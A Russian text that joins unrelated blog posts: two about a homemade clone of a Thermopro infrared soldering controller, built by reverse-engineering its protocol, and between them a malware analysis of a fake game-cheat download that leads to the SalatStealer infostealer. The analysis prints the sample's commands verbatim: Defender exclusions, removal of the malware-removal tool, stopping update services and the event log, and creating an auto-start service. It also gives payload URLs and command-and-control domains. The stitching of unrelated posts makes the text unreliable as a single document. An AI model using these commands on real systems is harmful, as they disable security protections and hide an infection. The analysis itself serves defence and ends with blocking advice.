Последний, заключительный пост про мой самодельный клон термопро ик1-10кд про.

На данный момент контроллер закончен, работает все нужное:
- запоминание уставки после выключения
- пресеты для пайки в ручном режиме(6шт)
- определение короткого замыкания или обрыва как контрольного датчика, так и датчика самого нагревателя, выключение нагревателя при обрыве, коротком замыкании канала ИК
- лазерный целеуказатель, остановка нагрева при его активации
- смена языка контроллера РУС и АНГЛ из термопроцентр
- сброс на заводские настройки реализован аналогично оригиналу, через включение с зажатой кнопкой увеличения температуры, после чего в eeprom прописываются значения из кода прошивки
- воспроизведение звука встроенным бузером в контроллере по меткам в термопро центр
- пайка в автоматическом режиме с софтом термопроцентр(вроде это самое главное😃)
- серийный номер, дата поверки показывается в термопроцентр(могу любые прописать)


Вроде все) не добавил только ограничение диапазона уставки, так как мне оно не нужно.

Как оказалось управлять инертным с большой транспортной задержкой керамическим нагревателем довольно сложно, соответственно алгоритм работает на основе PID и предиктора смита, последний предугадывает температуру в будущем с учетом скорости ее роста в данный момент и подаваемой мощности на нагреватель.

Ниже приведены графики прогона оригинального и моего контроллера:

А теперь мой:

Как можно заметить я добился неплохого результата, у меня минимальное перерегулирование в самом начале в сравнении с оригом, но оно не влияет и к сожалению есть небольшое отставание под конец, которое в общем то тоже не сильно влияет, пайка проходит штатно.

Я думаю отставание связано со скоростью нагрева излучателя, в моем случае я в нее упираюсь. Мой излучатель 2010 года, а на графике прогона с оригинала использовалась ик650мини, которая явно свежее:) ну и от партии к партии, плюс установка датчика на излучателе тоже влияет, потому идеальной повторяемости не добиться, каждый верхний нагреватель уникален, но оно и не нужно.
А это график пайки в автомате с коррекцией верха и низа (мой контроллер клон ик1-10кд про и термостол нп34-24 с тп2-10кд про):

Я считаю лучший результат из самоделок) А все благодаря ПО Термопро-центр, которое отлично отточено за столько времени).
А вот пару видео, в том числе и процесса пайки(ускорено в 3 раза):

Небольшой обзор функционала:

7777ой контроллер!!!

Не менял отображение коррекции, тут оно как у термостола 1/64, а должно быть 0, но да ладно, как-нибудь доделаю, к сожалению оригинального ик1-10кд про у меня нету, а общение с софтом снималось с контроллера термостола, в каком виде значение коррекции передается я не разбирался. В общем то на это все равно, это просто информация, на работу она не влияет.

Кто-то спросит, что там в пакетике завернуто в контроллере(на видео есть момент) - это плата питания лазера, раньше у меня был самодельный верх, делал я контроллер для него, а уже потом появился оригинальный с лазером, пришлось как-то впихивать питание для него😆

Итоги:
По началу цели не было повторить, я хотел влезть в родной контроллер стола нп34-24 и перехватывать пакеты обмена платы управления и платы с кнопками и дисплеем(у меня тп2-10кд контроллер термостола 16го года, построен еще на двух pic, сейчас стали на gd23 делать)
и при достижении 160 градусов на датчика КД просто включать автоматически верх через диммер
Фото: контроллер тп2-10кд про для термостола нп34-24про

Но через время я забил, была кстати попытка просто купить ик1-10кд про, но отдельно без самой стойки с верхним нагревателем термопро отказались мне продать(сама стойка у меня была самодельная и нагреватель китайский), так что в итоге решил заняться реверсом протокола обмена и копированием на сколько это возможно в кустарных условиях контроллера.
Думаю вышло неплохо:)
На этом у меня все😃

или рассказ о том, что можно получить вместо читов.

Наткнулся на ролик, весьма свежий и решил посмотреть, что нам предлагают.

Приходим в телеграмм канал и видим от 7го ноября:

О чем это нам говорит?  А о том, что файл хорошо сживается, и что его кто-то специально раздул до таких больших размеров. Цель тут одна – затруднить отправку файла  в различные онлайн сервисы по исследованию программ. Ок, давайте это проверим.  Загрузим в ExeInfo  и видим наличие оверлея (доп информация в файле). Просто вырежи его в отдельный файл.

Хорошо, посмотрим что этот файл делает, откроем  его в дизассемблере и перейдём в главную функцию, которая исполняется при запуске.

P.S. Кто-нибудь знает что такое nero_preloader? Ответьте в коментариях.

Вот оно! Скачивается файл  по определённому адресу: http://uffyaa[.]ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/da5911c60d39ce73116584ec5e0325f503780e55693c9952e76cab1c0441652055d0bd67ed27bb89,  копируется в :\\ProgramData\\sessionuserhost.exe и запускается.  На этом функционал этого  исполняемого файла закончен, но это же нас не остановит? Скачаем и продолжим исследование дальше.

На этот раз скачался исполняемый файл весом в 400 кБ, назовём его test.exe и продолжим

Основные действия функции

1. Получение системных путей:

   • Получает путь к системной директории Windows с помощью GetSystemWindowsDirectoryA

   • Формирует пути к различным системным и программным директориям

2. Создание вредоносных файлов и сервисов:

   • Создает файл sessionuserhost.exe в ProgramData

   • Создает задание в планировщике задач (schtasks /create) для автоматического запуска этого файла при входе в систему

   • Создает сервис с именем InputService через sc create

3. Отключение системных защитных механизмов:

   • Отключает Windows Recovery (reagentc /disable)

   • Удаляет теневые копии томов (vssadmin delete shadows)

   • Добавляет исключение в защитник Windows через PowerShell (Add-MpPreference -ExclusionPath)

4. Подмена системных файлов:

   • Работает с файлом hosts (\\Windows\\System32\\drivers\\etc\\hosts)

   • Вмешивается в системные файлы в директории Recovery

5. Маскировка под легитимные процессы:

   • Создает файлы с именами, похожими на легитимные процессы:

     • steamuiupdater.exe

     • EpicOnlineServicesUpdater.exe

     • G HUB tray.exe

     • Riot Client Updater.exe

     • MSIAfterburnerServiceMonitorTray.exe

     • NVIDIA app tray.exe

     • twain_32.exe

     • system auditor.exe

     • EpicOnlineServicesInstalator.exe

6. Выполнение команд с повышенными привилегиями:

   • Использует ShellExecuteA с параметром "runas" для выполнения команд от имени администратора

   • Выполняет несколько вредоносных команд через cmd.exe

Продолжаем  исследовать дальше, видим обращение к некоторому адресу https://pastebin[.]com/raw/qQe7Aa7D

от кроем его, что же мы видим:

Дальше часть кода процедуры из test.exe:

И так, основные функции данного файла и Основная цель функции:

Попытаться скачать файл config.json с ресурса https://pastebin.com/raw/qQe7Aa7D и, если это не удалось, выполнить резервную загрузку дополнительных данных (3 имполняемые файла) с нескольких подозрительных доменов (в частности, uffyaa.ru).

Инициализация переменных и строк:

• Выделяется память под строку URL: https://pastebin.com/raw/qQe7Aa7D.

• Из второго аргумента (a2) извлекаются указатели и длина строки (путь к директории), к которому дописывается :\\ProgramData\\config.json.

Формируется целевой путь к файлу:

• Собирается строка пути, куда должен быть сохранён файл: например, C:\ProgramData\config.json.

Попытка загрузки файла с Pastebin:

• Используется URLDownloadToFileA, чтобы скачать файл по указанному URL и сохранить в подготовленном пути.

• Если загрузка прошла успешно, функция завершает работу, иначе переходит к резервной логике.

Резервная логика загрузки (fallback):

• Если основной файл не загружен, вызывается функция download01 с различными параметрами (ключи: "count", "type", "link0", "link1", "link2").

• Эти ключи соответствуют различным частям конфигурации или файлов:

  • "type": ".exe" — ожидается исполняемый файл.

  • "link0", "link1", "link2" — это прямые ссылки на вредоносные загрузки с сервера uffyaa.ru, каждая ведёт к конкретному зашифрованному или закодированному payload.

Заключение:

Функция реализует двухэтапную схему получения вредоносной конфигурации:

1. Сначала пытается скачать конфиг с Pastebin.

2. Если не удалось — переходит к запасным URL, каждый из которых может представлять отдельную угрозу (исполняемые файлы, настройки, ключи и т.д.).

Продолжим наше исследование и скачаем содержание этих 3-х ссылок:

http://[virus].ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/6adc1e14c896571371bc6e1c4f7763c7dd67d22af827cc0b57c4bde8e8925ba6f4120c2f803e7acc

http://[virus].ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/6adc1e14c896571371bc6e1c4f7763c7dd67d22a0fa376726207bab855d42dfae89552cc17559ca3

http://[virus].ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/9a094aaf722f08d3740be907a66838ad10afc6b865efdfd57fdb96d631878268f5775ef930869653

Файл file1.ex_ :

Приводить участки кода не буду, но вот  список того что она делает:

1. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process '"C:\Users\admin\Desktop\file1.exe"' -Verb runAs

2. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

3. C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

4. wusa  /uninstall /kb:890830 /quiet /norestart

5. C:\WINDOWS\system32\sc.exe stop UsoSvc

6. C:\WINDOWS\system32\sc.exe stop wuauserv

7. C:\WINDOWS\system32\sc.exe stop bits

8. C:\WINDOWS\system32\sc.exe stop dosvc

9. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0

10. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0

11. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0

12. Создает C:\WINDOWS\system32\dialer.exe

13. C:\WINDOWS\system32\sc.exe delete "EJJYGAKZ"

14. C:\WINDOWS\system32\sc.exe create "EJJYGAKZ" binpath= "C:\ProgramData\jtixikfvpels\lxwvsyozcpiw.exe" start= "auto"

15. C:\WINDOWS\system32\sc.exe stop eventlog

16. C:\WINDOWS\system32\sc.exe start "EJJYGAKZ"

17. "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" "тут обфусцированный скрипт"

18. C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

19. wusa  /uninstall /kb:890830 /quiet /norestart

20. C:\WINDOWS\system32\sc.exe stop UsoSvc

21. C:\WINDOWS\system32\sc.exe stop WaaSMedicSvc

22. C:\WINDOWS\system32\sc.exe stop wuauserv

23. C:\WINDOWS\system32\sc.exe stop bits

24. C:\WINDOWS\system32\sc.exe stop dosvc

25. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-ac 0

26. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0

27. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0

28. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0

29. Запуск C:\WINDOWS\system32\dialer.exe

30. C:\Windows\System32\dllhost.exe /Processid:{7cfb6527-f523-4e75-b050-9073d7bf3e84}

31. "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" " тут обфусцированный скрипт "

32. C:\Windows\System32\dllhost.exe /Processid:{7097c13c-ab69-4ab9-941c-0a3ff141828d}

33. C:\WINDOWS\System32\slui.exe -Embedding

А теперь тоже самое, с расшифровкой:

1. Запускается file1.exe с повышенными правами (администратор), что критично для выполнения всех следующих действий.

2. Копирует .exe файлы в каталоги %UserProfile% и %ProgramData%. Это позволяет запускать и сохранять вредоносный код без обнаружения.

3–4, 18–19. Удаление обновления Windows KB890830

wusa /uninstall /kb:890830 /quiet /norestart

KB890830 — это средство удаления вредоносных программ (MSRT).

Злоумышленник удаляет его, чтобы оно не удалило вредоносное ПО.

5–8, 20–24. Отключение обновлений и службы передачи данных

sc stop UsoSvc

sc stop wuauserv

sc stop bits

sc stop dosvc

*  Отключение служб:

• Центра обновления Windows (wuauserv)

• Интеллектуальной передачи данных в фоне (BITS)

• Обновления операционной системы (UsoSvc, WaaSMedicSvc, dosvc)

*  Цель: остановить обновления и вмешательство Microsoft.

9–11, 25–28. Отключение автоматического сна и гибернации

powercfg.exe /x ...

*  Модифицирует схемы питания:

• Устанавливает таймауты гибернации и сна в 0.

*  Цель: предотвратить переход ПК в спящий режим, чтобы вредоносный код работал непрерывно

12. Создание dialer.exe в system32

  Необычное место и имя.

13–16. Создание и запуск вредоносной службы

sc delete "EJJYGAKZ"

sc create "EJJYGAKZ" binpath= "..." start= "auto"

sc stop eventlog

sc start "EJJYGAKZ"

Удаляется старая служба, создаётся новая с автостартом.

• Программа lxwvsyozcpiw.exe будет запускаться при загрузке.

• Остановка eventlog — попытка скрыть следы в журнале событий.

  
  

17, 31. Выполнение сложного PowerShell-скрипта с динамической загрузкой и внедрением

• Скрипт создает динамический делегат, используя Reflection.Emit.

• Получает доступ к системным сборкам и вызывает низкоуровневые функции.

• Используется Marshal::GetDelegateForFunctionPointer, Copy, Invoke и т.п.

• Это указывает на:

  • Создание и внедрение shell-кода

  • Вызов функций из сторонних DLL

  • Динамическую декриптацию или загрузку полезной нагрузки

• Также возможно, что выполняется DLL-сидeloading или внедрение в dllhost.exe.

30. Запуск DLLHost с нестандартным идентификатором COM

*  Вероятно, загрузка вредоносной DLL через COM-объект.

*  Используется для маскировки и уклонения от обнаружения.

29. Запуск dialer.exe

• Ранее созданный исполняемый файл.

• Основной вредоносный компонент.

Итоговая цель вредоносной программы

• Получить полный контроль над системой

• Отключить защиту и обновления

• Скрыть активность

• Закрепиться через автозапуск

• Выполнить вредоносную нагрузку (включая DLL sideloading, shellcode, системные вызовы)

• Возможное дальнейшее заражение или шпионаж

Как вы могли заметить, выполнились 2 PowerShell  скрипта,  после их расшифровки мы можем понять, что делает эта программа. Вот подробное описание, что делает эта вредоносная программа на основе всех 31 шага:

🔧 1. Запуск вредоносного исполняемого файла с правами администратора

powershell.exe Start-Process '"C:\Users\admin\Desktop\file1.exe"' -Verb runAs

Запускает исполняемый файл с повышенными правами (UAC bypass).

🛡️ 2. Отключение антивирусной защиты Windows Defender

powershell  Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Добавляет в исключения директории и расширение .exe, чтобы антивирус игнорировал любые EXE-файлы, особенно в папках пользователя и ProgramData.

🧹 3, 4, 18, 19. Удаление инструмента для очистки вредоносных программ

cmd  wusa /uninstall /kb:890830 /quiet /norestart

Удаляет KB890830 — это Microsoft Windows Malicious Software Removal Tool (MSRT). Деактивирует его, чтобы он не удалил вредоносный код.

⚙️ 5–8, 20–24. Отключение сервисов обновлений и фоновых служб

cmd sc.exe stop UsoSvc, wuauserv, bits, dosvc, WaaSMedicSvc

Выключает службы:

• UsoSvc — обновления Windows

• wuauserv — агент обновлений

• bits — фоновая загрузка

• dosvc — оркестратор доставки

• WaaSMedicSvc — сервис восстановления обновлений

📛 Цель — остановить обновления и автоматическое восстановление системных компонентов, чтобы система не восстановилась после заражения.

🔌 9–11, 25–28. Изменение параметров электропитания

cmd  powercfg.exe /x -standby-timeout-ac 0, /x -hibernate-timeout-dc 0 и т.п.

Отключает ожидание и гибернацию, чтобы система постоянно работала и не уходила в спящий режим. Это может быть нужно для непрерывной работы вредоносного кода.

⚠️ 12. Создание вредоносного dialer.exe

Создаёт файл C:\WINDOWS\system32\dialer.exe. Вероятно, это вредоносный компонент.

🧪 13–16. Удаление, создание и запуск скрытого сервиса

cmd sc.exe delete "EJJYGAKZ"

cmd sc.exe create "EJJYGAKZ" binpath= "C:\ProgramData\jtixikfvpels\lxwvsyozcpiw.exe" start= "auto"

cmd sc.exe start "EJJYGAKZ"

Удаляет старый сервис и создаёт новый с произвольным именем, который указывает на вредоносный EXE в ProgramData. Сервис будет запускаться автоматически при старте системы.

🚨 15. Остановка системного журнала событий

cmd  sc.exe stop eventlog

Отключает логирование событий. Это мешает расследованию и скрывает следы.

🧬 17. Динамическая генерация вредоносного .NET-кода в PowerShell

Большой PowerShell-скрипт:

• Создаёт в памяти сборку .NET.

• Динамически компилирует делегаты (обработчики функций).

• Использует GetProcAddress для доступа к WinAPI-функциям.

• Патчит память (в том числе — делает VirtualProtect).

• Загружает DLL (в том числе из SOFTWARE\dialerstager в реестре).

• Возможно, загружает вторичный пейлоад или обходит защиту.

📌 Это обфусцированный загрузчик или инжектор, работающий полностью в памяти. Очень продвинутый подход.

☎️ 29. Запуск созданного dialer.exe

Продолжает выполнение уже подготовленного вредоносного компонента.

🧪 30. Запуск COM-хоста (dllhost.exe) с уникальным идентификатором CLSID

cmd  dllhost.exe /Processid:{...}

Может использоваться для запуска COM-объекта — часто применяется для инжекции или маскировки кода, запускаемого через системные службы.

🧬 31. Ещё один PowerShell с генерацией и вызовом делегатов

Похож на шаг 17. Второй PowerShell-скрипт делает то же самое:

• Создаёт в памяти типы.

• Патчит системные функции.

• Загружает вредоносные модули.

🧠 Итоговая картина

Программа:

1. Запускает вредоносный EXE от имени администратора.

2. Обходит Windows Defender.

3. Удаляет средства защиты от вредоносного ПО.

4. Отключает службы обновлений и логирования.

5. Меняет параметры питания.

6. Устанавливает и запускает вредоносные сервисы.

7. Генерирует .NET-код прямо в памяти (fileless-инжекция).

8. Загружает скрытые DLL или shellcode.

9. Осуществляет запуск и маскировку через dialer.exe и dllhost.exe.

Что же делает File2.exe?

1. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process '"C:\Users\admin\Desktop\file2.exe"' -Verb runAs

2. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

3. C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

4. wusa  /uninstall /kb:890830 /quiet /norestart

5. C:\WINDOWS\system32\sc.exe stop UsoSvc

6. C:\WINDOWS\system32\sc.exe stop WaaSMedicSvc

7. C:\WINDOWS\system32\sc.exe stop wuauserv

8. C:\WINDOWS\system32\sc.exe stop bits 

9. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-ac 0“

10. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0

11. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0

12. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0

13. start  C:\WINDOWS\system32\dialer.exe

14. C:\WINDOWS\system32\sc.exe delete "WLJNDOJC"

15. C:\WINDOWS\system32\sc.exe create "WLJNDOJC" binpath= "C:\ProgramData\zrntznqzxmws\ydmehmmzlokc.exe" start= "auto"

16. C:\WINDOWS\system32\sc.exe stop eventlog

17. C:\WINDOWS\system32\sc.exe start "WLJNDOJC"

18. C:\WINDOWS\system32\SppExtComObj.exe -Embedding

19. "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent

20. "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" "function ....."

21. start C:\ProgramData\zrntznqzxmws\ydmehmmzlokc.exe

22. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

23. C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

24. wusa  /uninstall /kb:890830 /quiet /norestart

25. C:\WINDOWS\system32\sc.exe stop UsoSvc

26. C:\WINDOWS\system32\sc.exe stop WaaSMedicSvc

27. C:\WINDOWS\system32\sc.exe stop bits

28. C:\WINDOWS\system32\sc.exe stop dosvc

29. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0

30. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0

31. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0

32. C:\Windows\System32\dllhost.exe /Processid:{0995f9a4-ba6d-4140-a15e-2b171752e608}  (Application was injected by another process)

33. "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" "function ............."

34. C:\Windows\System32\dllhost.exe /Processid:{3a3997b4-63b2-4a14-adf7-fc6a4d4fb2c3}  (Application was injected by another process)

🟨 Общие элементы

Обе программы:

• Активно используют PowerShell и reg add.

• Модифицируют службы и параметры Defender.

• Пытаются внедрить исключения в систему защиты.

• Используют техники персистентности (запуск по расписанию, скрытые скрипты).

File3.exe:

Этот фaл  отличается от других  упакован модифицированным UPX. Эта программа уже написана на Go(go1.22.0)  но зато активно общается  с 188.114.96.3, 172.67.191.102:433 и с другими

Видимо это и есть сам вредонос для удалённого доступ к компьютеру жертвы.  Позже я расскажу что же это такое. Обезопасим себя на всякий случай. Вот готовый .bat-файл, который создаст правила в брандмауэре Windows для блокировки IP-адреса 172.211.123.249:

а это и есть SalatStealer, знакомитесь:

• SalatStealer — это тип вредоносного ПО, предназначенный для кражи данных с заражённых устройств.

• Он разработан на языке Golang и может выполнять различные действия, включая создание скриншотов и эксфильтрацию файлов.

• Использование SalatStealer может привести к серьёзным последствиям, таким как кража личной информации.

Конектится к:

https://sa1at[.]ru/sa1at/

https://sa1at[.]ru/sa1at/jcl2eeqx

Сайт sa1at[.]ru был идентифицирован как вредоносный и используется в качестве центра управления (C2) для вредоносного ПО под названием Salat Stealer. По данным ThreatFox, этот домен классифицируется как связанный с ботнетом и имеет высокий уровень достоверности угрозы (100%) .

Рекомендую  добавить sa1at[.]ru в файл hosts для блокировки доступа:

SalatStealer — это вредоносное программное обеспечение, классифицируемое как инфостилер, разработанное на языке Go. Оно предназначено для кражи конфиденциальных данных с заражённых систем.

🧬 Основные характеристики

• Язык разработки: Go (Golang)

• Методы упаковки: Использует UPX (Ultimate Packer for eXecutables) для упаковки исполняемых файлов, что затрудняет анализ и обнаружение.

• Основные функции:

  • Сбор системной информации: данные о жёстком диске, разрешение экрана, активные процессы и окна.

  • Кража учётных данных из браузеров (Chrome, Firefox, Edge) и почтовых клиентов.

  • Доступ к криптовалютным кошелькам и кража приватных ключей.

  • Поиск незашифрованных паролей в текстовых файлах.

  • Эксплуатация микрофона и камеры для записи аудио и видео, а также возможность трансляции экрана в реальном времени

Salat Stealer — это скрытное вредоносное ПО, разработанное на языке программирования Go, предназначенное для проникновения в системы и извлечения конфиденциальных данных. После заражения устройства оно собирает обширную системную информацию, такую как сведения о жёстком диске, разрешение экрана, запущенные процессы и активные окна. Одной из его наиболее тревожных особенностей является его способность транслировать рабочий стол жертвы в режиме реального времени и захватывать аудио и видео с помощью микрофона и камеры устройства, что создаёт серьёзные проблемы с конфиденциальностью. Кроме того, Salat Stealer способен извлекать файлы из скомпрометированной машины. Его присутствие может привести к значительным рискам, включая кражу личных данных, финансовые потери и серьёзные нарушения конфиденциальности.

Возможности и функциональность

Кража данных и сбор учётных данных
• Собирает сохранённые учётные данные из веб-браузеров (например, Chrome, Firefox, Edge).
• Извлекает учётные данные для входа из локальных почтовых клиентов.
• Получает доступ к файлам криптовалютного кошелька для кражи закрытых ключей или средств.
• Ищет незащищённые учётные данные, хранящиеся в текстовых файлах.
• Извлекает файлы из скомпрометированной системы, что может привести к серьёзным нарушениям конфиденциальности, финансовым потерям и краже личных данных.

Мониторинг рабочего стола в реальном времени
• Обладает возможностями потоковой трансляции, что позволяет злоумышленникам отслеживать активность на рабочем столе жертвы в режиме реального времени.
• Может записывать аудио и видео через микрофон и камеру устройства, что создаёт серьёзные риски для конфиденциальности.

Методы сохранения и уклонения
• Записывает файлы в критические системные каталоги (Windows, System32, Drivers, Program Files)
• Изменяет реестр Windows (ключ Run), чтобы обеспечить автоматическое выполнение при запуске.
• Использует методы обхода контроля учетных записей (UAC) для повышения привилегий.
• Выполняет сброшенные полезные нагрузки для расширения цепочки атак.
• Использует упаковку UPX для сокрытия своего кода и обхода обнаружения на основе сигнатур.

Обзор цепочки атак

1. Первичное заражение:

   • Распространяется через фишинговые письма, вредоносные вложения и скрытые загрузки.

   • Также может распространяться через взломанное программное обеспечение или троянизированные приложения.

2. Исполнение и настойчивость:

   • Вредоносная программа запускается при взаимодействии с пользователем, например, при открытии вредоносного файла.

   • Для достижения устойчивости он использует реестр Windows (ключ «Выполнить»).

   • Попытки обойти контроль учетных записей (UAC) для получения повышенных привилегий.

3. Системная разведка и сбор данных:

   • Перечисляет запущенные процессы и активные окна.

   • Сканирует сохраненные учетные данные в веб-браузерах, почтовых клиентах и криптовалютных кошельках.

   • Проверяет языковые настройки системы, чтобы потенциально избежать заражения определенных регионов.

4. Утечка данных:

   • Извлеченные учетные данные и сведения о системе отправляются на контролируемый злоумышленником сервер управления и контроля (C2).

   • Вредоносная программа может попытаться удалить следы своей активности, чтобы избежать обнаружения.

Обход контроля учетных записей пользователей (UAC)

SalatStealer использует обходные методы контроля учетных записей (UAC) для получения повышенных привилегий без оповещения пользователя. Устанавливая ключ EnableLUA в \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA на «0» (отключает UAC).

При установке EnableLUA на 0 вредоносная программа отключает принудительное применение UAC, что позволяет ей выполнять административные команды и сохранять устойчивость, обходя ограничения безопасности. Однако это изменение вступает в силу не сразу — для полного отключения UAC требуется перезагрузка системы. Пока система не перезагрузится, запрос UAC будет по-прежнему отображаться при запуске вредоносной программы.

Механизм устойчивости SalatStealer

SalatStealer обеспечивает постоянство, копируя себя в случайные каталоги. В моем случае он скопировал себя в:

• C:\Program Files (x86)\Защитник Windows\

• C:\Program Files (x86)\Windows NT\

Затем он создает ключи запуска в реестре Windows, чтобы обеспечить выполнение при запуске:

\REGISTRY\USER\<USER_SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = «C:\\Program Files (x86)\\Windows Defender\\smss.exe»

\REGISTRY\USER\<USER_SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = «C:\\Program Files (x86)\\Windows NT\\dllhost.exe»

Мониторинг экрана и рабочего стола в реальном времени

Salat Stealer может непрерывно делать снимки экрана и даже транслировать содержимое рабочего стола жертвы на командный сервер (C2) злоумышленника, обеспечивая наблюдение за его действиями в режиме реального времени.

Кража данных буфера обмена

Salat активно отслеживает активность буфера обмена, что позволяет ему перехватывать скопированный текст, включая пароли, адреса криптовалют и другие конфиденциальные данные.

Кейлоггерство – перехват нажатия клавиш

Salat Stealer записывает все, что вводится в систему жертвы, фиксируя учетные данные, сообщения и любые другие вводимые данные в режиме реального времени.

Аудио- и видеошпионаж

Salat Stealer функционирует как полноценный шпионский инструмент, способный:

Запись микрофона: захват и передача звука с микрофона жертвы.
Доступ к веб-камере: запись видео с веб-камеры системы.
Прямая трансляция: трансляция аудио- и видеопотоков в реальном времени на удалённый сервер злоумышленника.

Эксфильтрация

Salat Stealer использует скрытый процесс эксфильтрации для передачи украденных данных на свой сервер C2, используя шифрование AES для сокрытия конфиденциальной информации перед передачей. Файлы упакованы в архивы ZIP

Заключение

SalatStealer — это скрытное и устойчивое вредоносное ПО, предназначенное для кражи конфиденциальных данных, избегая обнаружения. Собирая учетные данные, изымая файлы и обеспечивая наблюдение в реальном времени, оно представляет серьезные риски для жертв, включая финансовые потери, кражу личных данных и нарушения конфиденциальности. Оно использует обход UAC и изменения реестра, что затрудняет удаление. Кроме того, его механизмы шифрования и упаковка UPX еще больше усложняют анализ и обнаружение. Учитывая его широкую направленность на веб-браузеры, криптовалютные кошельки и приложения для обмена сообщениями, SalatStealer остаётся значительной угрозой, подчёркивая необходимость постоянного мониторинга и расширенных мер безопасности для противодействия его воздействию.

Итак всем привет, у меня имеется термостол термопро нп34-24 с штатным контроллером тп2-10кд про и охладитель:

Пожалуй лучший на рынке термостол, аналогов реально нету, даже зарубежом, так как я огромный фанат термопро, хоть я и редко паяю бга, но хотел весь сет ик650про, но верхний нагреватель я уже давно сделал, выкладывал тут пост про него, вот такой он:

Он меня очень устраивает, но к сожалению в качестве мозгов был обычный диммер, в принципе свою задачу он выполнял, но хотелось работы по кнопочке старт) Соответственно нужен подходящий контроллер, термопро отдельно его не продают, только в месте с головой, но ведь у меня уже готовая) зачем мне еще одна? Конечно лазерного указателя нету, нету и диафрагм, но пайкой бга я дай бог раз в месяц занимаюсь, но кнопочку старт хочу.
А значит будем реверсить и создавать свой контроллер! В наличии у меня имеется столик для мобилок нп10-6 с родным контроллером тп1-10кд про, кстати к нему я еще прикрутил свой самодельный столик, работает штатно)

Фото как раз с моим самодельным столиком)

Так вот фишка этого контроллера в том, что он аналогичен контроллеру ик головы ик1-10кд про, а значит полностью должен быть совместим, потому на основе него и проводился реверс протокола обмена, протокол схож с modbus rtu, адрес, функция и байты данных, снимался с помощью serial port monitor, для этого были сняты логи работы, каждая манипуляция с контроллером сопровождалась отдельным логом для анализа, например лог обмена с термопроцентр в простое, лог включения нагрева, лог выключения и так далее, к сожалению протокол я не раскрою по понятным причинам. После снятия логов был их анализ, далее задача повторить данный обмен, выбор пал на китайский клон ардуино lgt8f238p, он мощнее ардуино, а так же главное у него АЦП 12бит, что в будущем сыграло важную роль, ведь терморезисторы pt1000 подключаются напрямую через делитель) В общем было потрачено несколько дней и получилось вот это:

Китайский клон ардуино успешно определяется термопроцентр, пока что как тп1-10кд про, дальше нам нужно научить передавать данные с датчиков канал нп/ик, канал кд, состояние нагрева, температуру уставки. Вот что получилось:

Далее оставалось прикрутить терморезисторы, облагородить работу с дисплеем, добавить пид и получилось вот это:

Что по характеристикам? Скоростной пид, опрос датчиков 10 раз в секунду, точность измерения температуры аналогична термопрошному контроллеру, использовал его как эталон при калибровке, интерфейс на дисплее 1 в 1 вплоть до работы с кнопками, а дальше не менее увлекательный процесс, ведь программа то все еще видит его как тп1-10кд про, но все работает:

Добавил в том числе и определение обрыва, короткого замыкания терморезистора, оставался поиск айди от ик1-10кд, никто помочь не решился, тогда пришлось разбираться самому, так как у меня есть еще тп2-10кд про, контроллер нп34-24, я снял лог с него и начал изучать функцию, где предполагаемо прописан айди, подставлял значения от тп2 в свою прошивку и смотрел на изменения, и вот это значение было найдено! Осталось понять, что туда нужно подставить, чтобы это стал ик1-10кд про, но к счастью корне программы есть текстовый документ со всеми идентификаторами всего оборудования от термопро, оттуда это значение я и подставил, ну а теперь видео работы, мой контроллер в паре со штатным, получился комплекс ик650про, профиль бессвинец:

Работает штатно, ноу проблем, термопрофиль отрабатывается верхом думаю более чем отлично, конечно пид можно поточнее подобрать, но нужно еще прикрутить автоизменение пид в зависимости от выставленной уставки, ведь думаю не секрет, что параметры меняются и для выхода на разные уставки, нужны немного разные пид, иначе может быть долгий нагрев/перерегулирование, этим я и займусь в ближайшее время. Ни скетча, ни данных реверса я не предоставляю никому, цель поста лишь показать, что оно работает и оно получилось.
Всем счастливо!